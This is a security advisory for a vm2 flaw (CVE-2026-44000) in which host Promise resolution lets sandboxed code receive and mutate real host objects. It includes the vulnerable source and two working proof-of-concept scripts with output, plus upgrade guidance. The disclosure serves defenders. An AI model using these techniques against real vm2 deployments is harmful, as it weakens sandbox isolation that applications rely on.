Skip to content

GHSA-mpf8-4hx2-7cjg CVE-2026-44000

vm2 Host Promise Resolution Preserves Object Identity Across Sandbox Boundary

High npm
Severity
6.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.20%
Chance of exploitation in the next 30 days. Higher than 9.93% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-668 Exposure of Resource to Wrong Sphere
CWE-693 Protection Mechanism Failure
Fix
3.11.0
Upgrade vm2 to this version or later

Description

Summary

A sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution.

When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including:

  • Performing identity checks using host-side WeakMap
  • Mutating host object state from inside the sandbox

This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object.

As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation.


Details

In setup-sandbox.js, vm2 wraps Promise.prototype.then:

globalPromise.prototype.then = function then(onFulfilled, onRejected) {
  resetPromiseSpecies(this);

  if (typeof onFulfilled === 'function') {
    const origOnFulfilled = onFulfilled;
    onFulfilled = function onFulfilled(value) {
      value = ensureThis(value);
      return apply(origOnFulfilled, this, [value]);
    };
  }

  return apply(globalPromiseThen, this, [onFulfilled, onRejected]);
};


The wrapper calls ensureThis(value) before invoking the sandbox callback.

However, ensureThis is implemented in bridge.js as thisEnsureThis():

function thisEnsureThis(other) {
  const type = typeof other;

  switch (type) {
    case 'object':
      if (other === null) return null;

    case 'function':
      let proto = thisReflectGetPrototypeOf(other);

      if (!proto) {
        return other;
      }

      while (proto) {
        const mapping = thisReflectApply(thisMapGet, protoMappings, [proto]);

        if (mapping) {
          const mapped = thisReflectApply(thisWeakMapGet, mappingOtherToThis, [other]);
          if (mapped) return mapped;
          return mapping(defaultFactory, other);
        }

        proto = thisReflectGetPrototypeOf(proto);
      }

      return other;

If no prototype mapping is found, ensureThis() simply returns the original object:

return other;

This means the sandbox receives the original host object instead of a proxied or sanitized representation.

Because of this behavior, values resolved by host Promises can cross the host–sandbox boundary with identity preserved.

PoC

The following Proof of Concept demonstrates that an object resolved by a host Promise can be used as a valid key in a host-side WeakMap from inside the sandbox.

WeakMap keys rely on reference identity, so a successful lookup proves that the sandbox received the host object identity.

PoC Code
import {VM} from "./index.js";

const hostObj = {tag: "HOST_OBJ"};
const hostPromise = Promise.resolve(hostObj);

// WeakMap created on the host
const wm = new WeakMap([[hostObj, "HIT"]]);

const vm = new VM({
  sandbox: {hostPromise, wm},
  timeout: 1000,
  eval: false,
  wasm: false,
});

const code = `
  hostPromise.then(v => ({
    weakMapGet: wm.get(v),
    typeofV: typeof v,
    tag: v.tag
  }))
`;

const result = await vm.run(code);

console.log("VM RESULT:", result);
console.log("HOST SAME KEY STILL:", wm.get(hostObj));
Output
VM RESULT: { weakMapGet: 'HIT', typeofV: 'object', tag: 'HOST_OBJ' }
HOST SAME KEY STILL: HIT

This confirms that the object delivered to the sandbox callback retains host identity.

Additional Demonstration: Host Object Mutation

The sandbox can also mutate host object state through the resolved Promise value.

import {VM} from "./index.js";

const hostObj = {tag: "HOST_OBJ", nested: {x: 1}};
const hostPromise = Promise.resolve(hostObj);

const vm = new VM({
  sandbox: {hostPromise},
  timeout: 1000,
  eval: false,
  wasm: false,
});

const code = `
  hostPromise.then(v => {
    v.nested.x = 999;
    v.tag = "MUTATED";
    return { seenTag: v.tag, seenX: v.nested.x };
  })
`;

const result = await vm.run(code);

console.log("VM RESULT:", result);
console.log("HOST AFTER:", hostObj);

**Output:**
VM RESULT: { seenTag: 'MUTATED', seenX: 999 }
HOST AFTER: { tag: 'MUTATED', nested: { x: 999 } }

This demonstrates write-through mutation of a host object from sandbox code.

**Impact**
This vulnerability allows host object references to cross the vm2 sandbox boundary via Promise resolution.

Consequences include:

Host object identity disclosure

Write-through mutation of host objects

WeakMap / WeakSet identity oracle across the boundary

Potential capability leaks if sensitive host objects are reachable via Promises

Applications that expose host Promises to sandboxed code may unintentionally grant the sandbox direct access to host objects.

This weakens the intended isolation guarantees of vm2.

Affected versions

npm

PackageVulnerableFixed in
vm2
< 3.11.0
3.11.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

vm2 npm → 3.11.0

npm
npm install vm2@3.11.0
yarn
yarn add vm2@3.11.0
pnpm
pnpm add vm2@3.11.0

Severity breakdown

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

Weakness

CWE-668: Exposure of Resource to Wrong Sphere

The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.

CWE-693: Protection Mechanism Failure

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-489w-w794-jq94
vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary
High Also affects vm2
GHSA-2v2p-6j97-cjg9
vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process
Medium Also affects vm2
GHSA-5h3f-q97h-ccvc
vm2: NodeVM custom resolution bypasses external path boundaries
Critical Also affects vm2
GHSA-pq68-rvw4-xp4r
vm2 contains a sandbox escape vulnerability
Critical Also affects vm2
GHSA-f8gf-w286-fmq2
vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM
High Also affects vm2
GHSA-6rh5-qq4q-97xh
vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes
High Also affects vm2
GHSA-8686-vhfx-7r3j
vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process
Critical Also affects vm2
GHSA-wjwh-qqvp-g4p4
vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass
Critical Also affects vm2
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor